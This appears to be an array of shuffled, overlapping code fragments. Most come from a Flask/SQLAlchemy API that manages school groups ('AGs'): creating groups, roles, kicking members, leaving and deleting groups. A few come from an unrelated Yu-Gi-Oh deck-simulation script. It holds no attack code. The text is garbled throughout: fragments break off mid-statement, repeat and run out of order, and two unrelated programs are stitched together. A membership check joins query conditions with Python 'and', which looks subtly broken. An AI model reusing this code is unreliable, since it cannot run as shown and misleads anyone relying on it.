"db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if",
"the requester is a mentor of the ag # add the user_ag association",
"20 # query all ags (with limit and offset) all_ags = AG.query.offset(offset).limit(count).all() #",
"return the schema for a member # else --> return the schema for",
"# check that the ag name and displayname is not used before and",
"and simulate the changes edit_user_ag.role = role db.session.flush() # if there are no",
"to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete an ag :param",
"the ag to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave the",
"description got transmitted # if so update the ag entry if display_name is",
"the ag to be deleted automatic filled params :param user_ag: database entry of",
"there are no members left if not ag.actual_users: # delete the ag and",
"'ACTIVE' user_ag.role = 'MENTOR' # add the association entry and save the database",
"ag --> get filled by @requires_member_association :return: redirect to the dashboard ''' #",
"requires_member_association from app.util.ag import requires_ag from app.util.user import get_user_by_username # import additional blueprints",
"from the AG {ag.display_name}', 'success') db.session.commit() # return to the ag dashboard return",
"if there are still mentors # --> save changes to the database and",
"ag.actual_users: # delete the ag and return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You",
"entry if display_name is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed",
"--> :value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of the ag",
"user <==> the user is in the ag if edit_user_ag: # update his",
"to 20 :default: 5 :key: offset: Int how many entries to skip :default:",
"a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag),",
"authenticated/logined @requires_auth() # check if the requester has a association to the ag",
"to the dashboard ''' # query the user and his associatin user =",
"app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema()",
"everything went as it should, the newly created AG is returned. ''' #",
"is not None and bool(re.match(AGRegex.description, description)): ag.description = description value_changed = True #",
"no mentors left if not ag.mentors: # throw error flash(u'An AG needs a",
"to the dashboard ''' # delete the ag db.session.delete(ag) # save the changes",
"edit_user_ag: # update his role and simulate the changes edit_user_ag.role = role db.session.flush()",
"flash(f'Successfully changed the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check",
"the AG {ag.name}', 'success') # save the cganges to the database and return",
"if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400",
"there are no mentors left, but still members elif not ag.mentors: # return",
"elif not ag.mentors: # return a error message # dont save the changes",
"entry of the ag --> get filled by @requires_member_association :return: redirect to the",
"the ag --> return the schema for a member # else --> return",
"out :param user_name: username of the user to be kicked out automatic filled",
"description = request.values.get('description', default=None) value_changed = False # checks if the display_name or",
"ag.description = description value_changed = True # if some value got changed, merge",
"a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag),",
"re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}),",
"add it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an AG",
"the role the user got assigned to be role = request.values.get(user_id) # query",
"import UserAG # import utilities from app.util import requires_auth from app.util.assocations import requires_mentor,",
"utilities from app.util import requires_auth from app.util.assocations import requires_mentor, requires_member_association from app.util.ag import",
"error message flash(f'You cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else",
"save the changes to the database and return to the ag dashboard flash(f'You",
"''' Query an AG specified by its id :param ag_id: A specific id",
"config etc. from app import app # import database models from app.models.ag import",
"adjust to a max of 20 if count > 20: count = 20",
"error message flash(f'You cannot kick the last Mentor of {ag.display_name}', 'error') # else",
"BadRequest message else: return BadRequest() @bp.route('/', methods=['GET']) # check that the requester is",
"user_ag association and the ag to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag,",
"to create a new id db.session.add(ag) db.session.flush() # Create the association entry to",
"changes db.session.flush() # if there are no members left if not ag.actual_users: #",
"bp = Blueprint('ag_api', __name__) # register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications')",
"leave an AG you are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else:",
"authenticated/logined @requires_auth() def get_all_ags(): ''' Query up to 20 ags The request body",
"or description got transmitted # if so update the ag entry if display_name",
"name that is human read able (can contain spaces etc.) :key: description: A",
"# save a error message flash(f'You cannot kick the last Mentor of {ag.display_name}',",
"or 'PARTICIPIANT' :param ag_name: ag_name of the ag to be edited automatic filled",
"an AG ''' # import third party modules import re from flask import",
"is authenticated/logined @requires_auth() # check that the ag with the ag_id exist and",
"is no member anymore and left the ag user_ag.role = 'NONE' user_ag.status =",
"etc.) :key: description: A description of the AG :return: If everything went as",
"user is in the ag if edit_user_ag: # update his role and simulate",
"@requires_mentor() # check that the requester is a mentor of the ag #",
"ag): ''' Update the roles of users in an ag The Request body",
"went as it should, the newly created AG is returned. ''' # read",
"anymore # and his status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status = 'KICKED'",
"'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the requester is",
"get_ag_by_id(ag_id, ag): ''' Query an AG specified by its id :param ag_id: A",
"of the AG ''' # if the requester is a member of the",
"match the regex pattern # if something isn't right return a error message",
"if there are no mentors left if not ag.mentors: # throw error flash(u'An",
"else: update the entry, so the user is no member anymore and left",
"actual user of the ag # return a error message if user_ag.role ==",
"the regex pattern # if something isn't right return a error message if",
"the request vaalues display_name = request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed =",
"by the form for user_id in request.values: # the role the user got",
"left, but still members elif not ag.mentors: # return a error message #",
"UserAG # import utilities from app.util import requires_auth from app.util.assocations import requires_mentor, requires_member_association",
"a error message flash(f'You cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) #",
"delete the ag db.session.delete(ag) db.session.flush() # save a success message flash(f'You sucessfully left",
"db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return",
"not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry, so the",
"return jsonify({'reason': 'description'}), 400 # create a new database AG entry ag: AG",
"cannot leave an AG you are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) #",
"afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save a success message",
"an AG specified by its id :param ag_id: A specific id :return: JSON",
"of the ag # return a error message if user_ag.role == 'NONE': flash('You",
"with a error message flash(f'You cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name))",
"from app.util.assocations import requires_mentor, requires_member_association from app.util.ag import requires_ag from app.util.user import get_user_by_username",
"return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that the requester is authenticated/logined @requires_auth()",
"of the ag --> get filled by @requires_mentor :return: redirect to the ag",
"bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed = True if description is not None",
"every key in rquest values --> for every user/user_id passed by the form",
"''' # delete the ag db.session.delete(ag) # save the changes db.session.commit() # return",
"AGSchemaIntern from app.models.associations import UserAG # import utilities from app.util import requires_auth from",
"added as mentor user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status",
"be edited an the ag edit_user_ag = db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar()",
"db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user is not an actual user if edit_user_ag",
"user_ag.status = 'LEFT' # simulate the changes db.session.flush() # if there are no",
"= AG.query.offset(offset).limit(count).all() # return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check",
"value_changed = False # checks if the display_name or description got transmitted #",
"werkzeug.exceptions import BadRequest, PreconditionFailed # import database instance from app.models import db #",
"to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an AG specified by",
"the requester is authenticated/logined @requires_auth() # check that the ag with the ag_name",
"authenticated/logined @requires_auth() # check that the ag with the ag_name exist and add",
"db.session.flush() # if there are no members left in the ag if not",
"an AG, when there is no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name))",
":return: redirect to the ag dashboard ''' # for every key in rquest",
"db.session.query(UserAG).filter(and_(UserAG.user_id == user_id,\\ UserAG.ag_id == ag.id)).scalar() # if there is an result for",
"sucessfully left and deleted the AG {ag.name}', 'success') # else if there are",
"database instance from app.models import db # import app with config etc. from",
"None or edit_user_ag.role == 'NONE': # return to the ag dashboard with a",
"specified by its unique name :param name: A specific AG name :return: JSON",
"to the ag # add the association and the ag to the params/kwargs",
"= display_name ag.description = description ag.color = request.values.get('color', default='primary') # Add the AG",
"user_ag.role == 'NONE': flash('You cannot leave an AG you are not in', 'error')",
"# check that the requester is authenticated/logined @requires_auth() # check that the requester",
"= AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) # check that",
"AG {ag.name}', 'success') # save the cganges to the database and return with",
"the ag to leave automatic filled params :param user_ag: database entry of the",
"AG name that is human read able (can contain spaces etc.) :key: description:",
"for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return",
"# else else: # save a success message and save the changes to",
"not set count = request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0, type=int) #",
"a success message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 # else",
"AG = AG() ag.name = name ag.display_name = display_name ag.description = description ag.color",
"AG specified by its unique name :param name: A specific AG name :return:",
"== ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check",
"--> for every user/user_id passed by the form for user_id in request.values: #",
"'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry, so the user is",
"of the user to be kicked out automatic filled params :param user_ag: database",
"the provided values should be changed :return: ''' # read the request vaalues",
"message # dont save the changes to the database and return to the",
"are no mentors left if not ag.mentors: # throw error flash(u'An AG needs",
"AG entry ag: AG = AG() ag.name = name ag.display_name = display_name ag.description",
"not ag.actual_users: # delete the ag and return to the dashboard db.session.delete(ag) db.session.commit()",
"name :param name: A specific AG name :return: JSON representation of the AG",
"check that the ag with the ag_id exist and add it to the",
"return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester is authenticated/logined @requires_auth() #",
"of the ag # add the user_ag association and the ag to the",
"json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester is authenticated/logined",
"members left if not ag.actual_users: # delete the ag and return to the",
"check that the requester is authenticated/logined @requires_auth() # check that the requester is",
"return --> if greater than 20, it will be set to 20 :default:",
"used to identify the ag (eg. /ag/<name>) :key: display_name: AG name that is",
"user_ag association and the ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag):",
"check that the requester is a mentor of the ag # add the",
"members left in the ag if not ag.actual_users: # delete the ag db.session.delete(ag)",
"the ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change values",
"database entry of the association bewteen the request user and the ag -->",
"# else --> return the schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id",
"not ag.mentors: # return a error message # dont save the changes to",
"ag to kick the user out :param user_name: username of the user to",
"by @requires_mentor :param ag: database entry of the ag --> get filled by",
"'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still mentors # --> save",
"from app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG # import utilities",
"change_ag_values(ag_id, ag, user_ag): ''' Change values of an AG. The request body may",
"#declare the needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema =",
"@bp.route('<ag_name>/kick/<user_name>') # check that the requester is authenticated/logined @requires_auth() # check @requires_mentor() #",
"redirect from sqlalchemy.sql import exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed # import",
":key: display_name: String with new display_name :key: description: String with new description :param",
"request params and set default if not set count = request.args.get('count', default=5, type=int)",
"flash(f'You cannot leave an AG, when there is no Mentor left afterwards', 'error')",
"ag to be edited automatic filled params :param user_ag: database entry of the",
"else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that the requester is authenticated/logined",
"the association entry, so the user is not a member of the ag",
"= request.args.get('offset', default=0, type=int) # adjust to a max of 20 if count",
"get filled by @requires_member_association :return: redirect to the dashboard ''' # delete the",
"an AG specified by its unique name :param name: A specific AG name",
"bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 # create a new database AG entry",
"ag_name=ag_name)) # else # change the association entry, so the user is not",
"import AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG # import utilities from app.util",
"'NONE': # return to the ag dashboard with a error message flash(f'You cannot",
"# delete the ag db.session.delete(ag) db.session.flush() # save a success message flash(f'You sucessfully",
"with the count how much ags to return --> if greater than 20,",
"''' # if the requester is a member of the ag --> return",
"import database instance from app.models import db # import app with config etc.",
"user_ag: database entry of the association bewteen the request user and the ag",
"redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the association entry, so the user is",
"def get_all_ags(): ''' Query up to 20 ags The request body may include",
"# else else: # save a success message flash(f'You sucessfully left the AG",
"@requires_auth() # check that the requester is a mentor of the ag #",
"\\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT'])",
"ag_name: name of the ag to leave automatic filled params :param user_ag: database",
"models from app.models.ag import AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG # import",
"requester is authenticated/logined @requires_auth() def add_ag(): ''' Create a new AG. The request",
"as mentor user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status =",
"# check that the requester is authenticated/logined @requires_auth() # check that the ag",
"ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that",
"update_users(ag_name, user_ag, ag): ''' Update the roles of users in an ag The",
"{ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester is authenticated/logined",
"{ag.name}', 'success') # save the cganges to the database and return with the",
"ag --> get filled by @requires_member_association :param ag: database entry of the ag",
"ag_name exist and add it to the params/kwargs @requires_ag() def get_ag_by_name(ag_name, ag): '''",
"else else: # save a success message flash(f'You sucessfully left the AG {ag.name}',",
"(eg. /ag/<name>) :key: display_name: AG name that is human read able (can contain",
"the ag # add the user_ag association and the ag to the params/kwargs",
"the user_ag association and the ag to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag,",
"saved success message to the dashboard db.session.commit() return redirect(url_for('index')) @bp.route('<ag_name>/kick/<user_name>') # check that",
"not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 # create a new database AG",
"# add the association and the ag to the params/kwargs @requires_member_association() def leave_ag(ag_name,",
"and deleted the AG {ag.name}', 'success') # else if there are no mentors",
"requester is authenticated/logined @requires_auth() # check that the requester is a mentor of",
"# check that the requester is authenticated/logined @requires_auth() # check if the requester",
"needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/',",
"not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return",
"ag # add the user_ag association and the ag to the params/kwargs @requires_mentor()",
"with an AG ''' # import third party modules import re from flask",
"id :return: JSON representation of the AG ''' # if the requester is",
"requester is authenticated/logined @requires_auth() # check that the ag with the ag_id exist",
"import re from flask import Blueprint, request, jsonify, g, url_for, flash, redirect from",
"association and the ag to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): '''",
"ag --> get filled by @requires_mentor :return: redirect to the ag dashboard '''",
"ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester is authenticated/logined @requires_auth() # check that",
"the ag name and displayname is not used before and # check that",
"else if there are no mentors left, but still members elif not ag.mentors:",
"if greater than 20, it will be set to 20 :default: 5 :key:",
"left and deleted the AG {ag.name}', 'success') # else if there are no",
"to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change values of an",
"how many entries to skip :default: 0 :return: JSON Representation of the AGs",
"left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else: # save a success",
"message and save the changes to the database flash(f'You sucessfully kicked {user.username} from",
"that the requester is a mentor of the ag # add the user_ag",
"values should be changed :return: ''' # read the request vaalues display_name =",
"the display_name or description got transmitted # if so update the ag entry",
"True # if some value got changed, merge the entry to the database",
"the ag to the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): ''' kick",
"jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the requester",
"the newly created AG is returned. ''' # read request values name =",
"If everything went as it should, the newly created AG is returned. '''",
"the requester is authenticated/logined @requires_auth() # check if the requester has a association",
"ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester is authenticated/logined @requires_auth() # check if",
"and return a success message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200",
"the user is not a actual user of the ag # return a",
"entry and save the database changes db.session.add(user_ag) db.session.commit() # return a success message",
"user_ag): ''' kick a user out of an ag :param ag_name: name of",
"flash(f'You cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change",
"ag_id exist and add it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): '''",
"to the database flash(f'You sucessfully kicked {user.username} from the AG {ag.display_name}', 'success') db.session.commit()",
"vaalues display_name = request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed = False #",
"get_user_by_username # import additional blueprints regarding applications, invitations and messages of ags from",
"a new database AG entry ag: AG = AG() ag.name = name ag.display_name",
"app.util.user import get_user_by_username # import additional blueprints regarding applications, invitations and messages of",
"the user_ag association and the ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag,",
"changes to the database and redirect to the ag dashboard db.session.commit() flash(f'Successfully changed",
"be changed :return: ''' # read the request vaalues display_name = request.values.get('display_name', default=None)",
"ag to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete an ag",
"created AG is returned. ''' # read request values name = request.values.get('name') display_name",
"methods=['POST']) # check that the requester is authenticated/logined @requires_auth() def add_ag(): ''' Create",
"merge the entry to the database and return a success message if value_changed:",
"ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester is authenticated/logined",
"user --> :value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of the",
"ags from app.blueprints.api.v1.ag import applications, invitations, messages # import regex config for creating",
"left in the ag if not ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush()",
"and the ag to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update",
"jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 # create",
"ag user_ag.role = 'NONE' user_ag.status = 'LEFT' # simulate the changes db.session.flush() #",
"AG specified by its id :param ag_id: A specific id :return: JSON representation",
"the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the",
"is added as mentor user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id",
"params/kwargs @requires_member_association() def leave_ag(ag_name, ag, user_ag): ''' leave the specified ag :param ag_name:",
"of the ag to kick the user out :param user_name: username of the",
"that the requester is authenticated/logined @requires_auth() def get_all_ags(): ''' Query up to 20",
"exists, and_ from werkzeug.exceptions import BadRequest, PreconditionFailed # import database instance from app.models",
"value_changed = True # if some value got changed, merge the entry to",
"third party modules import re from flask import Blueprint, request, jsonify, g, url_for,",
"and displayname is not used before and # check that the values match",
"that the values match the regex pattern # if something isn't right return",
"the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted the AG {ag.display_name}', 'success')",
"not ag.mentors: # throw error flash(u'An AG needs a minimum of one Mentor',",
"bool( re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not",
"--> if greater than 20, it will be set to 20 :default: 5",
"re.match(AGRegex.name, name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool(",
":param ag_name: name of the ag to be deleted automatic filled params :param",
"user and the ag --> get filled by @requires_member_association :param ag: database entry",
"# if there is an result for this user <==> the user is",
"that the requester is authenticated/logined @requires_auth() def add_ag(): ''' Create a new AG.",
"schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar():",
"the DB to create a new id db.session.add(ag) db.session.flush() # Create the association",
"ag anymore # and his status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status =",
"user_ag): ''' delete an ag :param ag_name: name of the ag to be",
"of the AG :return: If everything went as it should, the newly created",
"left the ag user_ag.role = 'NONE' user_ag.status = 'LEFT' # simulate the changes",
"authenticated/logined @requires_auth() # check @requires_mentor() # check that the requester is a mentor",
"but still members elif not ag.mentors: # return a error message # dont",
"to skip :default: 0 :return: JSON Representation of the AGs ''' # read",
"returned. ''' # read request values name = request.values.get('name') display_name = request.values.get('display_name') description",
"PreconditionFailed # import database instance from app.models import db # import app with",
"'success') # save the cganges to the database and return with the saved",
"requires_auth from app.util.assocations import requires_mentor, requires_member_association from app.util.ag import requires_ag from app.util.user import"
] |
[
"imperm, nibiru, droll, crow, belle, meister, gamma) protection = (belle, called) cards_to_set =",
"game.deck: return self.meltdown elif self.lightstage in game.deck: return self.lightstage else: return None def",
"and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in game.monsters: for card",
"game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game) -> Optional[Game]: if (",
"Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t",
"in game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck,",
"-> Optional[Game]: if ( self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK",
"field spell\") ): if self.meltdown in game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow,",
"CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion",
"self.meltdown in game.deck: return self.meltdown elif self.lightstage in game.deck: return self.lightstage else: return",
"select_terraforming_target(self, game: Game) -> Optional[Card]: if ( self.meltdown in game.deck and game.hopt_available(self.meltdown) and",
"Lists hand_traps = (ash, ogre, veiler, imperm, nibiru, droll, crow, belle, meister, gamma)",
"game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon in game.extra_deck ): dm_location, red_eyes_location =",
"Belle & Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite",
"and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self, game:",
"= DeckList( ( (aleister, 3), (invocation, 2), (meltdown, 3), (terraforming, 1), (prison, 2),",
"card == self.gamma and self.driver in game.banished: continue if card == self.imperm: continue",
"self.lightstage in game.deck and self.lightstage not in game.hand and not (self.corobane in game.hand",
"game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self, game: Game) ->",
"game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game,",
"action_summon_mechaba(self, game: Game) -> Optional[Game]: if ( self.invocation in game.hand and self.mechaba in",
"= game.hand if self.red_eyes in game.deck: red_eyes_location = game.deck elif self.red_eyes in game.hand:",
"), ( (almiraj, 1), (artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides,",
"CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game: Game) -> Optional[Card]: if ( self.meltdown",
"fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder =",
"in game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif",
"cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game): return game",
"imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes",
"game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self, game:",
"in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand,",
"return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game):",
"in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in game.monsters:",
"the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\",",
"> 1: game.move(game.hand, game.grave, self.upstart) game.draw() return game def action_use_terraforming(self, game: Game) ->",
"# higher value means more redundant hand = game.hand.cards[:] for card in hand:",
"game: Game) -> Optional[Game]: if ( self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\")",
"game.deck: return self.lightstage else: return None def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card,",
"crow = Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER)",
"crow, meister, veiler, cyclone) going_second = (duster, mind_control) verte_materials = ( aleister, candina,",
"action_normal_summon_candina(self, game: Game) -> Optional[Game]: if ( self.candina in game.hand and game.resource_available(\"normal summon\")",
"standard_decklist ######### # Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return",
"find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None",
"magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER)",
"my_card, opp_card ######### # Actions ######### def action_use_upstart(self, game: Game) -> Optional[Game]: if",
"cyclone) light_monsters = (corobane, candina, artemis, gardna, fleur) not_opt = (imperm, crow, meister,",
"Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL)",
"Game) -> Optional[Game]: if ( self.invocation in game.hand and self.mechaba in game.extra_deck and",
"game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None",
"in hand: if count := hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] = 0",
"if not (my_card and opp_card): return None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave,",
"1] def find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location =",
"Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters)",
"self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self, game:",
"Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK)",
"Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides =",
"and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck:",
"game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm in game.deck: return self.dm",
"red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion =",
